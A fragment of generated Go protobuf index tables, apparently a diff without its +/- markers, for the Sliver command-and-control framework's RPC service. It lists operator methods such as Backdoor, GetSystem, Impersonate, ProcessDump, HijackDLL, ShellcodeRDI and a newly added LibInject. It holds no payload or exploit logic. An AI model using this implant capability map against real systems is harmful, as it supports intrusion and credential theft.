(*sliverpb.SocksData)(nil), // 82: sliverpb.SocksData
(*sliverpb.Tunnel)(nil), // 83: sliverpb.Tunnel
(*sliverpb.TunnelData)(nil), // 84: sliverpb.TunnelData
(*clientpb.Version)(nil), // 85: clientpb.Version
(*clientpb.Operators)(nil), // 86: clientpb.Operators
(*clientpb.Sessions)(nil), // 87: clientpb.Sessions
(*clientpb.Session)(nil), // 88: clientpb.Session
(*clientpb.Beacons)(nil), // 89: clientpb.Beacons
(*clientpb.BeaconTasks)(nil), // 90: clientpb.BeaconTasks
(*commonpb.Response)(nil), // 91: commonpb.Response
(*clientpb.Jobs)(nil), // 92: clientpb.Jobs
(*clientpb.KillJob)(nil), // 93: clientpb.KillJob
(*clientpb.MTLSListener)(nil), // 94: clientpb.MTLSListener
(*clientpb.WGListener)(nil), // 95: clientpb.WGListener
(*clientpb.DNSListener)(nil), // 96: clientpb.DNSListener
(*clientpb.HTTPListener)(nil), // 97: clientpb.HTTPListener
(*clientpb.StagerListener)(nil), // 98: clientpb.StagerListener
(*clientpb.AllLoot)(nil), // 99: clientpb.AllLoot
(*clientpb.AllHosts)(nil), // 100: clientpb.AllHosts
(*clientpb.Generate)(nil), // 101: clientpb.Generate
(*clientpb.ImplantBuilds)(nil), // 102: clientpb.ImplantBuilds
(*clientpb.Canaries)(nil), // 103: clientpb.Canaries
(*clientpb.WGClientConfig)(nil), // 104: clientpb.WGClientConfig
(*clientpb.UniqueWGIP)(nil), // 105: clientpb.UniqueWGIP
(*clientpb.ImplantProfiles)(nil), // 106: clientpb.ImplantProfiles
(*clientpb.MsfStager)(nil), // 107: clientpb.MsfStager
(*clientpb.ShellcodeRDI)(nil), // 108: clientpb.ShellcodeRDI
(*clientpb.Compiler)(nil), // 109: clientpb.Compiler
(*clientpb.Websites)(nil), // 110: clientpb.Websites
(*sliverpb.Ps)(nil), // 111: sliverpb.Ps
(*sliverpb.Terminate)(nil), // 112: sliverpb.Terminate
(*sliverpb.Ifconfig)(nil), // 113: sliverpb.Ifconfig
(*sliverpb.Netstat)(nil), // 114: sliverpb.Netstat
(*sliverpb.Ls)(nil), // 115: sliverpb.Ls
(*sliverpb.Pwd)(nil), // 116: sliverpb.Pwd
(*sliverpb.Rm)(nil), // 117: sliverpb.Rm
(*sliverpb.Mkdir)(nil), // 118: sliverpb.Mkdir
(*sliverpb.Download)(nil), // 119: sliverpb.Download
(*sliverpb.Upload)(nil), // 120: sliverpb.Upload
(*sliverpb.ProcessDump)(nil), // 121: sliverpb.ProcessDump
(*sliverpb.RunAs)(nil), // 122: sliverpb.RunAs
(*sliverpb.Impersonate)(nil), // 123: sliverpb.Impersonate
(*sliverpb.RevToSelf)(nil), // 124: sliverpb.RevToSelf
(*sliverpb.GetSystem)(nil), // 125: sliverpb.GetSystem
(*sliverpb.Task)(nil), // 126: sliverpb.Task
(*sliverpb.ExecuteAssembly)(nil), // 127: sliverpb.ExecuteAssembly
(*sliverpb.Migrate)(nil), // 128: sliverpb.Migrate
(*sliverpb.Execute)(nil), // 129: sliverpb.Execute
(*sliverpb.Sideload)(nil), // 130: sliverpb.Sideload
(*sliverpb.SpawnDll)(nil), // 131: sliverpb.SpawnDll
(*sliverpb.Screenshot)(nil), // 132: sliverpb.Screenshot
(*sliverpb.NamedPipes)(nil), // 133: sliverpb.NamedPipes
(*sliverpb.TCPPivot)(nil), // 134: sliverpb.TCPPivot
(*sliverpb.PivotList)(nil), // 135: sliverpb.PivotList
(*sliverpb.ServiceInfo)(nil), // 136: sliverpb.ServiceInfo
(*sliverpb.MakeToken)(nil), // 137: sliverpb.MakeToken
(*sliverpb.EnvInfo)(nil), // 138: sliverpb.EnvInfo
(*sliverpb.SetEnv)(nil), // 139: sliverpb.SetEnv
(*sliverpb.UnsetEnv)(nil), // 140: sliverpb.UnsetEnv
(*sliverpb.Backdoor)(nil), // 141: sliverpb.Backdoor
(*sliverpb.RegistryRead)(nil), // 142: sliverpb.RegistryRead
(*sliverpb.RegistryWrite)(nil), // 143: sliverpb.RegistryWrite
(*sliverpb.RegistryCreateKey)(nil), // 144: sliverpb.RegistryCreateKey
(*sliverpb.RegistrySubKeyList)(nil), // 145: sliverpb.RegistrySubKeyList
(*sliverpb.RegistryValuesList)(nil), // 146: sliverpb.RegistryValuesList
(*sliverpb.SSHCommand)(nil), // 147: sliverpb.SSHCommand
(*clientpb.DllHijack)(nil), // 148: clientpb.DllHijack
(*sliverpb.GetPrivs)(nil), // 149: sliverpb.GetPrivs
(*sliverpb.RegisterExtension)(nil), // 150: sliverpb.RegisterExtension
(*sliverpb.CallExtension)(nil), // 151: sliverpb.CallExtension
(*sliverpb.ListExtensions)(nil), // 152: sliverpb.ListExtensions
(*sliverpb.WGPortForward)(nil), // 153: sliverpb.WGPortForward
(*sliverpb.WGSocks)(nil), // 154: sliverpb.WGSocks
(*sliverpb.WGTCPForwarders)(nil), // 155: sliverpb.WGTCPForwarders
(*sliverpb.WGSocksServers)(nil), // 156: sliverpb.WGSocksServers
(*sliverpb.Shell)(nil), // 157: sliverpb.Shell
(*sliverpb.Portfwd)(nil), // 158: sliverpb.Portfwd
(*clientpb.Event)(nil), // 159: clientpb.Event
(*sliverpb.LibInjectReq)(nil), // 69: sliverpb.LibInjectReq
(*sliverpb.OpenSession)(nil), // 70: sliverpb.OpenSession
(*sliverpb.RegisterExtensionReq)(nil), // 71: sliverpb.RegisterExtensionReq
(*sliverpb.CallExtensionReq)(nil), // 72: sliverpb.CallExtensionReq
(*sliverpb.ListExtensionsReq)(nil), // 73: sliverpb.ListExtensionsReq
(*sliverpb.WGPortForwardStartReq)(nil), // 74: sliverpb.WGPortForwardStartReq
(*sliverpb.WGPortForwardStopReq)(nil), // 75: sliverpb.WGPortForwardStopReq
(*sliverpb.WGSocksStartReq)(nil), // 76: sliverpb.WGSocksStartReq
(*sliverpb.WGSocksStopReq)(nil), // 77: sliverpb.WGSocksStopReq
(*sliverpb.WGTCPForwardersReq)(nil), // 78: sliverpb.WGTCPForwardersReq
(*sliverpb.WGSocksServersReq)(nil), // 79: sliverpb.WGSocksServersReq
(*sliverpb.ShellReq)(nil), // 80: sliverpb.ShellReq
(*sliverpb.PortfwdReq)(nil), // 81: sliverpb.PortfwdReq
(*sliverpb.Socks)(nil), // 82: sliverpb.Socks
(*sliverpb.SocksData)(nil), // 83: sliverpb.SocksData
(*sliverpb.Tunnel)(nil), // 84: sliverpb.Tunnel
(*sliverpb.TunnelData)(nil), // 85: sliverpb.TunnelData
(*clientpb.Version)(nil), // 86: clientpb.Version
(*clientpb.Operators)(nil), // 87: clientpb.Operators
(*clientpb.Sessions)(nil), // 88: clientpb.Sessions
(*clientpb.Session)(nil), // 89: clientpb.Session
(*clientpb.Beacons)(nil), // 90: clientpb.Beacons
(*clientpb.BeaconTasks)(nil), // 91: clientpb.BeaconTasks
(*commonpb.Response)(nil), // 92: commonpb.Response
(*clientpb.Jobs)(nil), // 93: clientpb.Jobs
(*clientpb.KillJob)(nil), // 94: clientpb.KillJob
(*clientpb.MTLSListener)(nil), // 95: clientpb.MTLSListener
(*clientpb.WGListener)(nil), // 96: clientpb.WGListener
(*clientpb.DNSListener)(nil), // 97: clientpb.DNSListener
(*clientpb.HTTPListener)(nil), // 98: clientpb.HTTPListener
(*clientpb.StagerListener)(nil), // 99: clientpb.StagerListener
(*clientpb.AllLoot)(nil), // 100: clientpb.AllLoot
(*clientpb.AllHosts)(nil), // 101: clientpb.AllHosts
(*clientpb.Generate)(nil), // 102: clientpb.Generate
(*clientpb.ImplantBuilds)(nil), // 103: clientpb.ImplantBuilds
(*clientpb.Canaries)(nil), // 104: clientpb.Canaries
(*clientpb.WGClientConfig)(nil), // 105: clientpb.WGClientConfig
(*clientpb.UniqueWGIP)(nil), // 106: clientpb.UniqueWGIP
(*clientpb.ImplantProfiles)(nil), // 107: clientpb.ImplantProfiles
(*clientpb.MsfStager)(nil), // 108: clientpb.MsfStager
(*clientpb.ShellcodeRDI)(nil), // 109: clientpb.ShellcodeRDI
(*clientpb.Compiler)(nil), // 110: clientpb.Compiler
(*clientpb.Websites)(nil), // 111: clientpb.Websites
(*sliverpb.Ps)(nil), // 112: sliverpb.Ps
(*sliverpb.Terminate)(nil), // 113: sliverpb.Terminate
(*sliverpb.Ifconfig)(nil), // 114: sliverpb.Ifconfig
(*sliverpb.Netstat)(nil), // 115: sliverpb.Netstat
(*sliverpb.Ls)(nil), // 116: sliverpb.Ls
(*sliverpb.Pwd)(nil), // 117: sliverpb.Pwd
(*sliverpb.Rm)(nil), // 118: sliverpb.Rm
(*sliverpb.Mkdir)(nil), // 119: sliverpb.Mkdir
(*sliverpb.Download)(nil), // 120: sliverpb.Download
(*sliverpb.Upload)(nil), // 121: sliverpb.Upload
(*sliverpb.ProcessDump)(nil), // 122: sliverpb.ProcessDump
(*sliverpb.RunAs)(nil), // 123: sliverpb.RunAs
(*sliverpb.Impersonate)(nil), // 124: sliverpb.Impersonate
(*sliverpb.RevToSelf)(nil), // 125: sliverpb.RevToSelf
(*sliverpb.GetSystem)(nil), // 126: sliverpb.GetSystem
(*sliverpb.Task)(nil), // 127: sliverpb.Task
(*sliverpb.ExecuteAssembly)(nil), // 128: sliverpb.ExecuteAssembly
(*sliverpb.Migrate)(nil), // 129: sliverpb.Migrate
(*sliverpb.Execute)(nil), // 130: sliverpb.Execute
(*sliverpb.Sideload)(nil), // 131: sliverpb.Sideload
(*sliverpb.SpawnDll)(nil), // 132: sliverpb.SpawnDll
(*sliverpb.Screenshot)(nil), // 133: sliverpb.Screenshot
(*sliverpb.NamedPipes)(nil), // 134: sliverpb.NamedPipes
(*sliverpb.TCPPivot)(nil), // 135: sliverpb.TCPPivot
(*sliverpb.PivotList)(nil), // 136: sliverpb.PivotList
(*sliverpb.ServiceInfo)(nil), // 137: sliverpb.ServiceInfo
(*sliverpb.MakeToken)(nil), // 138: sliverpb.MakeToken
(*sliverpb.EnvInfo)(nil), // 139: sliverpb.EnvInfo
(*sliverpb.SetEnv)(nil), // 140: sliverpb.SetEnv
(*sliverpb.UnsetEnv)(nil), // 141: sliverpb.UnsetEnv
(*sliverpb.Backdoor)(nil), // 142: sliverpb.Backdoor
(*sliverpb.RegistryRead)(nil), // 143: sliverpb.RegistryRead
(*sliverpb.RegistryWrite)(nil), // 144: sliverpb.RegistryWrite
(*sliverpb.RegistryCreateKey)(nil), // 145: sliverpb.RegistryCreateKey
(*sliverpb.RegistrySubKeyList)(nil), // 146: sliverpb.RegistrySubKeyList
(*sliverpb.RegistryValuesList)(nil), // 147: sliverpb.RegistryValuesList
(*sliverpb.SSHCommand)(nil), // 148: sliverpb.SSHCommand
(*clientpb.DllHijack)(nil), // 149: clientpb.DllHijack
(*sliverpb.GetPrivs)(nil), // 150: sliverpb.GetPrivs
(*sliverpb.LibInject)(nil), // 151: sliverpb.LibInject
(*sliverpb.RegisterExtension)(nil), // 152: sliverpb.RegisterExtension
(*sliverpb.CallExtension)(nil), // 153: sliverpb.CallExtension
(*sliverpb.ListExtensions)(nil), // 154: sliverpb.ListExtensions
(*sliverpb.WGPortForward)(nil), // 155: sliverpb.WGPortForward
(*sliverpb.WGSocks)(nil), // 156: sliverpb.WGSocks
(*sliverpb.WGTCPForwarders)(nil), // 157: sliverpb.WGTCPForwarders
(*sliverpb.WGSocksServers)(nil), // 158: sliverpb.WGSocksServers
(*sliverpb.Shell)(nil), // 159: sliverpb.Shell
(*sliverpb.Portfwd)(nil), // 160: sliverpb.Portfwd
(*clientpb.Event)(nil), // 161: clientpb.Event
}
var file_rpcpb_services_proto_depIdxs = []int32{
0, // 0: rpcpb.SliverRPC.GetVersion:input_type -> commonpb.Empty
@@ -711,142 +717,144 @@ var file_rpcpb_services_proto_depIdxs = []int32{
66, // 93: rpcpb.SliverRPC.RunSSHCommand:input_type -> sliverpb.SSHCommandReq
67, // 94: rpcpb.SliverRPC.HijackDLL:input_type -> clientpb.DllHijackReq
68, // 95: rpcpb.SliverRPC.GetPrivs:input_type -> sliverpb.GetPrivsReq
69, // 96: rpcpb.SliverRPC.OpenSession:input_type -> sliverpb.OpenSession
70, // 97: rpcpb.SliverRPC.RegisterExtension:input_type -> sliverpb.RegisterExtensionReq
71, // 98: rpcpb.SliverRPC.CallExtension:input_type -> sliverpb.CallExtensionReq
72, // 99: rpcpb.SliverRPC.ListExtensions:input_type -> sliverpb.ListExtensionsReq
73, // 100: rpcpb.SliverRPC.WGStartPortForward:input_type -> sliverpb.WGPortForwardStartReq
74, // 101: rpcpb.SliverRPC.WGStopPortForward:input_type -> sliverpb.WGPortForwardStopReq
75, // 102: rpcpb.SliverRPC.WGStartSocks:input_type -> sliverpb.WGSocksStartReq
76, // 103: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq
77, // 104: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq
78, // 105: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq
79, // 106: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq
80, // 107: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq
81, // 108: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks
81, // 109: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks
82, // 110: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData
83, // 111: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel
83, // 112: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel
84, // 113: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData
0, // 114: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty
85, // 115: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version
86, // 116: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators
0, // 117: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty
87, // 118: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions
88, // 119: rpcpb.SliverRPC.UpdateSession:output_type -> clientpb.Session
89, // 120: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons
3, // 121: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon
0, // 122: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty
90, // 123: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks
4, // 124: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask
91, // 125: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response
0, // 126: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty
92, // 127: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs
93, // 128: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob
94, // 129: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.MTLSListener
95, // 130: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.WGListener
96, // 131: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.DNSListener
97, // 132: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.HTTPListener
97, // 133: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.HTTPListener
98, // 134: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener
98, // 135: rpcpb.SliverRPC.StartHTTPStagerListener:output_type -> clientpb.StagerListener
11, // 136: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot
0, // 137: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty
11, // 138: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot
11, // 139: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot
99, // 140: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot
99, // 141: rpcpb.SliverRPC.LootAllOf:output_type -> clientpb.AllLoot
100, // 142: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts
12, // 143: rpcpb.SliverRPC.Host:output_type -> clientpb.Host
0, // 144: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty
0, // 145: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty
101, // 146: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate
101, // 147: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate
102, // 148: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds
0, // 149: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty
103, // 150: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries
104, // 151: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig
105, // 152: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP
106, // 153: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles
0, // 154: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty
17, // 155: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile
107, // 156: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager
108, // 157: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI
109, // 158: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler
110, // 159: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites
20, // 160: rpcpb.SliverRPC.Website:output_type -> clientpb.Website
0, // 161: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty
20, // 162: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website
20, // 163: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website
20, // 164: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website
23, // 165: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping
111, // 166: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps
112, // 167: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate
113, // 168: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig
114, // 169: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat
115, // 170: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls
116, // 171: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd
116, // 172: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd
117, // 173: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm
118, // 174: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir
119, // 175: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download
120, // 176: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload
121, // 177: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump
122, // 178: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs
123, // 179: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate
124, // 180: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf
125, // 181: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem
126, // 182: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task
126, // 183: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task
126, // 184: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task
127, // 185: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly
128, // 186: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate
129, // 187: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute
129, // 188: rpcpb.SliverRPC.ExecuteToken:output_type -> sliverpb.Execute
130, // 189: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload
131, // 190: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll
132, // 191: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot
133, // 192: rpcpb.SliverRPC.NamedPipes:output_type -> sliverpb.NamedPipes
134, // 193: rpcpb.SliverRPC.TCPListener:output_type -> sliverpb.TCPPivot
135, // 194: rpcpb.SliverRPC.ListPivots:output_type -> sliverpb.PivotList
136, // 195: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo
136, // 196: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo
136, // 197: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo
137, // 198: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken
138, // 199: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo
139, // 200: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv
140, // 201: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv
141, // 202: rpcpb.SliverRPC.Backdoor:output_type -> sliverpb.Backdoor
142, // 203: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead
143, // 204: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite
144, // 205: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey
145, // 206: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList
146, // 207: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList
147, // 208: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
148, // 209: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack
149, // 210: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs
69, // 211: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession
150, // 212: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension
151, // 213: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension
152, // 214: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions
153, // 215: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward
153, // 216: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward
154, // 217: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks
154, // 218: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks
155, // 219: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders
156, // 220: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers
157, // 221: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell
158, // 222: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd
81, // 223: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks
0, // 224: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty
82, // 225: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData
83, // 226: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel
0, // 227: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty
84, // 228: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData
159, // 229: rpcpb.SliverRPC.Events:output_type -> clientpb.Event
115, // [115:230] is the sub-list for method output_type
0, // [0:115] is the sub-list for method input_type
69, // 96: rpcpb.SliverRPC.LibInject:input_type -> sliverpb.LibInjectReq
70, // 97: rpcpb.SliverRPC.OpenSession:input_type -> sliverpb.OpenSession
71, // 98: rpcpb.SliverRPC.RegisterExtension:input_type -> sliverpb.RegisterExtensionReq
72, // 99: rpcpb.SliverRPC.CallExtension:input_type -> sliverpb.CallExtensionReq
73, // 100: rpcpb.SliverRPC.ListExtensions:input_type -> sliverpb.ListExtensionsReq
74, // 101: rpcpb.SliverRPC.WGStartPortForward:input_type -> sliverpb.WGPortForwardStartReq
75, // 102: rpcpb.SliverRPC.WGStopPortForward:input_type -> sliverpb.WGPortForwardStopReq
76, // 103: rpcpb.SliverRPC.WGStartSocks:input_type -> sliverpb.WGSocksStartReq
77, // 104: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq
78, // 105: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq
79, // 106: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq
80, // 107: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq
81, // 108: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq
82, // 109: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks
82, // 110: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks
83, // 111: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData
84, // 112: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel
84, // 113: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel
85, // 114: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData
0, // 115: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty
86, // 116: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version
87, // 117: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators
0, // 118: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty
88, // 119: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions
89, // 120: rpcpb.SliverRPC.UpdateSession:output_type -> clientpb.Session
90, // 121: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons
3, // 122: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon
0, // 123: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty
91, // 124: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks
4, // 125: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask
92, // 126: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response
0, // 127: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty
93, // 128: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs
94, // 129: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob
95, // 130: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.MTLSListener
96, // 131: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.WGListener
97, // 132: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.DNSListener
98, // 133: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.HTTPListener
98, // 134: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.HTTPListener
99, // 135: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener
99, // 136: rpcpb.SliverRPC.StartHTTPStagerListener:output_type -> clientpb.StagerListener
11, // 137: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot
0, // 138: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty
11, // 139: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot
11, // 140: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot
100, // 141: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot
100, // 142: rpcpb.SliverRPC.LootAllOf:output_type -> clientpb.AllLoot
101, // 143: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts
12, // 144: rpcpb.SliverRPC.Host:output_type -> clientpb.Host
0, // 145: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty
0, // 146: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty
102, // 147: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate
102, // 148: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate
103, // 149: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds
0, // 150: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty
104, // 151: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries
105, // 152: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig
106, // 153: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP
107, // 154: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles
0, // 155: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty
17, // 156: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile
108, // 157: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager
109, // 158: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI
110, // 159: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler
111, // 160: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites
20, // 161: rpcpb.SliverRPC.Website:output_type -> clientpb.Website
0, // 162: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty
20, // 163: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website
20, // 164: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website
20, // 165: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website
23, // 166: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping
112, // 167: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps
113, // 168: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate
114, // 169: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig
115, // 170: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat
